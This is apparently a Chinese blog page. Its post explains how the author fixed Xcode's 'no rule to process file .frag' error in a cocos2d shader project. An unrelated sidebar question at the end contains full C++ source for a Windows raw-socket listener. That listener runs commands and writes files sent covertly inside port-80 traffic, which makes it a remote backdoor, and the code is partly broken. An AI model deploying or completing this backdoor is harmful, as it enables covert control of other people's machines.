no rule to process file frag

在使用Xcode进行cocos2d项目开发时遇到'no rule to process file ... .frag'的错误,原因是将包含.frag文件的Shaders文件夹以Group Reference方式添加到工程。正确做法是使用File Reference方式添加,并确保.frag文件添加到target的Copy Bundle Resources中。通过此方法可以避免不必要的rebuilt,提高开发效率。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

               

麻痹被这个东西弄了一个下半夜,无比的窝火,直想揍人

虽说 Xcode 的运用越来越熟练,但是终究还是被 xcode 搞得很烦恼

xcode貌似不能对资源文件做实时的监控,有时候对资源文件做出了改动以后,

xcode真机测试并没有将新的资源文件拷贝到机器里面,害的我经常性的要clean然后再build

弄得人是相当的烦躁

几百个源码文件,有时候就因为资源文件考不进机器要rebuild,

麻痹多搞得几次我得浪费多少时间,所以说,XCode这一点做的非常不好,让我非常不满意!

浪费了我一个下半夜的时间,肯定火大,抱怨牢骚不可避免,我也不是圣人~~

诚心希望苹果能将这点改进一下,银子多了总得为开发人员的便利考虑一下吧?


回到正题:no rule to process file ... .frag!

这是我看到 子龙山人的一篇技术博文之后自己动手尝试所遇到的一个bug,

。frag文件是 cocos2d 2。0 渲染相关的一个特色,在我看来用起来是相当的神奇。

很遗憾,到现在过了十多个小时了,我还没有对shader的机制做真正的深入了解

全赖这个bug!

额外细节也可以参照我写的上一篇博文,那篇博文的论述在现在看来,还是相当的不成熟的!

至少在写完那篇博文以后,我又为这个bug花费了好几个小时的时间,

可谓是真正的百思不得其解

下面是项目的一种组成结构与运行模拟器得到的结果



黑屏 + no rule to process file ....frag

控制台日出大段大段的 

“..................380”


所以,如果你的shader是这么加入到项目里面的话,你很有可能就要头大了~

我开始就是这么弄的,因为不知道个中蹊跷,还以为是 target的相关工程设置出现了问题

一个劲儿地弄 Search Header Paths 里面的

Header search paths

也怪我怪我研究子龙闪人这篇技术博文不是时候

因为我刚才开始要研究怎么在 一个项目里面弄出几个target,

我的处女作便是将 cocos2d的源码部分打包成一个单独的 target(.a静态库)

我还以为是主程序 target 使用 静态库 target 所要包含的头文件路径不对,一个劲儿的改路径

后来事实证明我是越走越远,可以说我多花出去的几个小时的时间都用来修改头文件路径了~

很多时候事实就是这么残酷,明明你自己南辕北辙了你却好无所觉,费时又费力而毫无所得!


扯远了,拉回

其实子龙山人教程附赠的项目文件里面也给出了提示

不过这个提示也太他妈的隐晦了,一般人根本就是很难察觉到(我没有细看文章,扫一遍直接就跑示例工程了)~

我不知道他本人或者他翻译团队里面的人有没有为这个bug头疼欲裂过,但是我确实是这样了,

一张图胜千万言,我贴一组图,各位再和上面那张图对比一下就知道问题处在哪儿了~



对天发誓,我除了将Shaders文件夹由黄色改成蓝色,没有动其他任何手脚~

就是这么奇葩,能够正常运行了~ 至此问题解决!

解决方案就是:

加入Shaders 文件夹到工程里面的时候,

千万不能以 create Group reference 的方式加入(那样加入会是文件夹呈蓝色)~

而必须以 create file refference 的方式将装有 .frag,.vert 文件的文件夹加入工程!!

当然肯定还有一些要注意的地方,那就是 要用到的 Mask.frag 文件必须要按照前文所说的那样,

放进 target 的 Build Phases,Copy Bundle Resources 里面去~

操作过程中还要做一些尝试,如 clean整个工程(静态库,主程序target)后再build,删除模拟器或者

真机上面的app,各种各种。。

我试了将Shaders文件夹从Xcode里面删除引用,在彻底清理完所有targets以后再编译并拷贝到模拟器里面,

app黑屏了。

然后我又再试着将 Shaders文件加以 create group reference 的方式加入到工程里面,app正常运行~


问题的论述离不开具体的环境,下面我给出工程的完整目录,以及我改了几个小时所改动的地方,

以及在哪儿将 。frag文件添加到target 的  resource bundle~

(事实上我有一点没有阐明:即 cocos2d本身再带了一个装了n个  。vert,。frag文件的资源文件夹,

这个文件夹是要按照我上面要求的那样添加到项目中去的。但是真正要用到的做遮罩的那个Mask。frag文件,

是可以直接以  create file reference 的方式添加到项目中去的,不过要记得设置到 target 的bundle resources 里面去。

同时,完全按照上面的做了,编译的过程中还是会出现“no  rule to process file  ..frag” 警告。

不过现在不同了,只有 Mask.frag一个文件得到这样的警告,其他cocos2d自带的那一批shader文件不不会再

得到这样的警告,如果这样了的话,那就离成功不远了^ ^)


1.项目结构


2.让我钻牛角尖深陷误区几小时的地方(早点儿google就好了)


3.文件系统里面的项目结构



参考资料:http://www.iphonedevsdk.com/forum/iphone-sdk-game-development/39349-opengl-es-shader-bug-only-iphone-3gs.html

问题:

warning: no rule to process file '$(PROJECT_DIR)/Shader.fsh' of type sourcecode.glsl for architecture i386
最佳回答:

That warning means that xcode doesn't know what to do with your file. If you give it an .m file it will compile it, if you give it an .png file it will copy it; apparently it doesn't know what to make of an .fsh/.vsh file, so it's probably *not* getting copied to your application bundle.

If you open "targets" and your target you should see the build step that copies your other files. If you drag your two wayward sheep into that step then they'll get copied to the bundle too, which may fix the bug.

The warning will probably remain, though. Does anyone else know how to actually add a rule so that this file type gets copied automatically, like most resources?

           
#define _CRT_SECURE_NO_WARNINGS #define WIN32_LEAN_AND_MEAN #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #include <string> #include <process.h> #pragma comment(lib, "ws2_32.lib") // 使用 const 定义常量 const int MAX_PACKET_SIZE = 65536; const int HTTP_PORT = 80; // 手动定义缺失的宏 #ifndef SIO_RCVALL #define IOC_IN 0x80000000 #define IOC_VENDOR 0x18000000 #define _WSAIOW(x,y) (IOC_IN|(x)|(y)) #define SIO_RCVALL _WSAIOW(IOC_VENDOR, 1) #endif #ifndef RCVALL_ON #define RCVALL_ON 1 #endif #pragma pack(push, 1) typedef struct _IP_HEADER { UCHAR ver_ihl; // 版本和头部长度 UCHAR tos; // 服务类型 USHORT tot_len; // 总长度 USHORT id; // 标识符 USHORT frag_off; // 分片偏移 UCHAR ttl; // 生存时间 UCHAR protocol; // 协议类型 USHORT check; // 校验和 ULONG saddr; // 源地址 ULONG daddr; // 目的地址 } IP_HEADER; typedef struct _TCP_HEADER { USHORT src_port; // 源端口 USHORT dst_port; // 目的端口 ULONG seq_num; // 序列号 ULONG ack_num; // 确认号 UCHAR data_offset; // 数据偏移 UCHAR flags; // 标志位 USHORT window; // 窗口大小 USHORT checksum; // 校验和 USHORT urg_ptr; // 紧急指针 } TCP_HEADER; #pragma pack(pop) // 校验和计算函数 USHORT checksum(USHORT* buffer, int size) { ULONG cksum = 0; while (size > 1) { cksum += *buffer++; size -= static_cast<int>(sizeof(USHORT)); } if (size) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return static_cast<USHORT>(~cksum); } // 命令执行函数 void execute_command(const char* cmd, char* output, size_t output_size) { FILE* fp; if (fopen_s(&fp, cmd, "r") == 0 && fp) { if (fgets(output, static_cast<int>(output_size), fp) == NULL) { strncpy_s(output, output_size, "Command failed", _TRUNCATE); } _pclose(fp); } else { strncpy_s(output, output_size, "Command failed", _TRUNCATE); } } int main() { WSADATA wsa; SOCKET sock; DWORD flag = RCVALL_ON; struct sockaddr_in saddr; char buffer[MAX_PACKET_SIZE]; // 初始化Winsock if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("WSAStartup failed: %d\n", WSAGetLastError()); return 1; } // 创建原始套接字 sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED); if (sock == INVALID_SOCKET) { printf("Socket creation failed: %d\n", WSAGetLastError()); WSACleanup(); return 1; } // 设置端口复用 int opt = 1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<char*>(&opt), sizeof(opt)) == SOCKET_ERROR) { printf("SO_REUSEADDR failed: %d\n", WSAGetLastError()); } // 绑定80端口 memset(&saddr, 0, sizeof(saddr)); saddr.sin_family = AF_INET; saddr.sin_port = htons(HTTP_PORT); saddr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, reinterpret_cast<SOCKADDR*>(&saddr), sizeof(saddr)) == SOCKET_ERROR) { printf("Bind failed: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } // 设置混杂模式 DWORD bytesRet; if (WSAIoctl(sock, SIO_RCVALL, &flag, sizeof(flag), NULL, 0, &bytesRet, NULL, NULL) == SOCKET_ERROR) { printf("WSAIoctl failed: %d\n", WSAGetLastError()); closesocket(sock); WSACleanup(); return 1; } printf("[+] Server listening on port 80...\n"); printf("[!] Note: This program requires administrator privileges to run\n"); while (true) { int ret = recv(sock, buffer, MAX_PACKET_SIZE, 0); if (ret <= 0) continue; IP_HEADER* iph = reinterpret_cast<IP_HEADER*>(buffer); if (iph->protocol != IPPROTO_TCP) continue; TCP_HEADER* tcph = reinterpret_cast<TCP_HEADER*>( buffer + (iph->ver_ihl & 0x0F) * 4); if (ntohs(tcph->dst_port) != HTTP_PORT) continue; char* payload = buffer + (iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4; int payload_len = ret - ((iph->ver_ihl & 0x0F) * 4 + (tcph->data_offset >> 4) * 4); if (payload_len > 0) { // 命令执行功能 if (strncmp(payload, "CMD:", 4) == 0) { char cmd_output[1024]; execute_command(payload + 4, cmd_output, sizeof(cmd_output)); printf("[+] Command executed: %s\nResult: %s\n", payload + 4, cmd_output); // 构造响应包 char resp_packet[1500]; IP_HEADER* resp_ip = reinterpret_cast<IP_HEADER*>(resp_packet); TCP_HEADER* resp_tcp = reinterpret_cast<TCP_HEADER*>(resp_packet + sizeof(IP_HEADER)); // 填充IP头 memcpy(resp_ip, iph, sizeof(IP_HEADER)); resp_ip->saddr = iph->daddr; resp_ip->daddr = iph->saddr; resp_ip->tot_len = htons(static_cast<u_short>( sizeof(IP_HEADER) + sizeof(TCP_HEADER) + strlen(cmd_output) + 40)); resp_ip->check = 0; // 填充TCP头 resp_tcp->src_port = tcph->dst_port; resp_tcp->dst_port = tcph->src_port; resp_tcp->seq_num = htonl(ntohl(tcph->ack_num)); resp_tcp->ack_num = htonl(ntohl(tcph->seq_num) + payload_len); resp_tcp->data_offset = 0x50; resp_tcp->flags = 0x18; resp_tcp->window = htons(64240); resp_tcp->checksum = 0; // 填充HTTP响应头 char* resp_payload = resp_packet + sizeof(IP_HEADER) + sizeof(TCP_HEADER); size_t cmd_len = strlen(cmd_output); int len = sprintf_s(resp_payload, sizeof(resp_packet) - sizeof(IP_HEADER) - sizeof(TCP_HEADER), "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %zu\r\n\r\n%s", cmd_len, cmd_output); // 计算TCP校验和 - 使用动态内存分配解决C2131错误 char pseudo_header[12]; memcpy(pseudo_header, &resp_ip->saddr, 4); memcpy(pseudo_header + 4, &resp_ip->daddr, 4); pseudo_header[8] = 0; pseudo_header[9] = IPPROTO_TCP; *reinterpret_cast<USHORT*>(pseudo_header + 10) = htons(static_cast<u_short>(sizeof(TCP_HEADER) + len)); // 动态分配内存替代固定大小数组 char* tcp_segment = new char[sizeof(TCP_HEADER) + len]; memcpy(tcp_segment, resp_tcp, sizeof(TCP_HEADER)); memcpy(tcp_segment + sizeof(TCP_HEADER), resp_payload, len); USHORT tcp_len = static_cast<USHORT>(sizeof(TCP_HEADER) + len); resp_tcp->checksum = checksum(reinterpret_cast<USHORT*>(pseudo_header), 12); resp_tcp->checksum = checksum(reinterpret_cast<USHORT*>(tcp_segment), tcp_len); // 释放动态分配的内存 delete[] tcp_segment; // 发送响应 struct sockaddr_in dest; dest.sin_family = AF_INET; dest.sin_addr.s_addr = resp_ip->daddr; sendto(sock, resp_packet, static_cast<int>(sizeof(IP_HEADER) + sizeof(TCP_HEADER) + len), 0, reinterpret_cast<SOCKADDR*>(&dest), sizeof(dest)); } // 文件传输功能 else if (strncmp(payload, "FILE:", 5) == 0) { char filename[256]; const char* space_pos = strchr(payload + 5, ' '); if (space_pos) { ptrdiff_t name_len = space_pos - (payload + 5); if (name_len < sizeof(filename)) { strncpy_s(filename, sizeof(filename), payload + 5, static_cast<size_t>(name_len)); filename[name_len] = '\0'; printf("[+] Receiving file: %s\n", filename); FILE* fp; if (fopen_s(&fp, filename, "wb") == 0 && fp) { size_t data_len = static_cast<size_t>( payload_len - 6 - static_cast<int>(name_len)); fwrite(space_pos + 1, 1, data_len, fp); fclose(fp); printf("[+] File saved successfully\n"); } else { printf("[-] Failed to open file for writing\n"); } } } else { printf("[-] Invalid FILE command format\n"); } } } } closesocket(sock); WSACleanup(); return 0; } 该程序运行后报错:WSAIoctl failed: 10022 解决报错,给出修改后的完整程序
最新发布
08-19
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值